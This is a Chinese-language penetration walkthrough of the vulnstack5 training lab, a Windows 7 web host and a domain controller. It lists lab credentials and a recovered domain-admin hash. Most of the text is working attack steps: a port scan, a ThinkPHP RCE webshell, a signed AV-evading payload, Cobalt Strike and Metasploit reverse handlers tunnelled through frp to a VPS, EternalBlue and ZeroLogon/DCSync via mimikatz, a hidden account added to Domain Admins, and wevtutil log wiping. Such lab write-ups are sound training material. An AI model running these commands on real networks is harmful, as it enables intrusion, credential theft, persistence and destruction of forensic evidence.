红日靶场五(vulnstack5)渗透分析

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环境搭建

 win7
 192.168.111.132(仅主机)
 192.168.123.212(桥接)
 .\heart p-0p-0p-0
 
 win2008 ip:
 192.168.111.131(仅主机)
 sun\admin 2020.com
 
 kali ip:
 192.168.10.131(nat)
 
 vps:
 101.42.**.**

用本地管理员heart登录并开启phpstudy

这里配置的原因是让kali可以访问win7,win7访问不了kali,模拟win7外网的环境和kali内网的环境

getshell

 sudo nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 512 --host-timeout 30 -T3 -v -oG result.txt --script http-methods --script-args http.useragent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0"  10.133.10.135 -p 0-65535

Discovered open port 110/tcp on 10.133.10.135 Discovered open port 139/tcp on 10.133.10.135 Discovered open port 3306/tcp on 10.133.10.135 Discovered open port 135/tcp on 10.133.10.135 Discovered open port 80/tcp on 10.133.10.135 Discovered open port 445/tcp on 10.133.10.135 Discovered open port 25/tcp on 10.133.10.135 Discovered open port 49152/tcp on 10.133.10.135 Discovered open port 49153/tcp on 10.133.10.135 Discovered open port 49154/tcp on 10.133.10.135

访问80页面发现一个thinkphp框架的首页,工具扫描RCE

image-20230902185850477.png

 一键getshell
 http://10.133.10.135/peiqi.php   Pass:peiqi

后渗透

将kali通过frp到vps端口,并生成免杀exe,蚁剑上传执行

  python 签名.py -i D:\Huorong\Sysdiag\bin\HipsMain.exe -t UUIDtoShell.exe -o qm.exe

上线cs,发现为heart用户,管理员权限,svc提权到system,抓取hash和明文,没有发现有用的域用户信息

 net view
 ipconfig /all

发现主机dc:192.168.111.131 ,以及内网网卡192.168.111.132

开启socks代理,通过fscan扫描内网111网段

 proxychains4  ./fscan -h 192.168.111.0/24

192.168.111.131 MS17-010

192.168.111.131:445 open 192.168.111.131:135 open 192.168.111.131:139 open 192.168.111.131:88 open

存在永恒之蓝,将cs转到msf

 新建cs监听器,spawn msf/新建会话
 use exploit/multi/handler
 set payload windows/meterpreter/reverse_http
 set lhost 127.0.0.1
 set lport 4566
 run

image-20230903002336049.png

修改frp端口,增加4566为监听端口

 [cs->msf]
 type = tcp
 local_ip = 127.0.0.1
 local_port = 4566
 remote_port = 4566

上线msf,开代理

setg Proxies socks5:127.0.0.1:8899
setg ReverseAllowProxy true

MS17-010

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.111.131
run

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.111.131
run

失败了

CVE-2020-1472-ZeroLogon

 mimikatz lsadump::zerologon /target:dc.sun.com /account:dc$
 mimikatz lsadump::zerologon /target:dc.sun.com /account:dc$ /exploit
 mimikatz lsadump::dcsync /domain:sun.com /dc:dc.sun.com /user:administrator /authuser:dc$ /authdomain:sun.com /authpassword:"" /authntlm
 mimikatz lsadump::postzerologon /target:sun.com /account:dc$
 #恢复密码,没有权限,可以先打到域控再复原
 sun.com\Administrator 9099d68602a60f007c227c4fa95fada6
 md5解密:p-0p-0p-0

这里dc不出网,fscan扫描到开启了445端口,直接smb上线

权限维持

 创建影子账户
 net user coleak$ p-0p-0p-0 /add
 net localgroup administrators coleak$ /add
 net group "Domain Admins" coleak$ /add /domain
 net users

痕迹清理

 wevtutil cl security    //清理安全日志
 wevtutil cl system      //清理系统日志
 wevtutil cl application     //清理应用程序日志
 wevtutil cl "windows powershell"    //清除power shell日志
 wevtutil cl Setup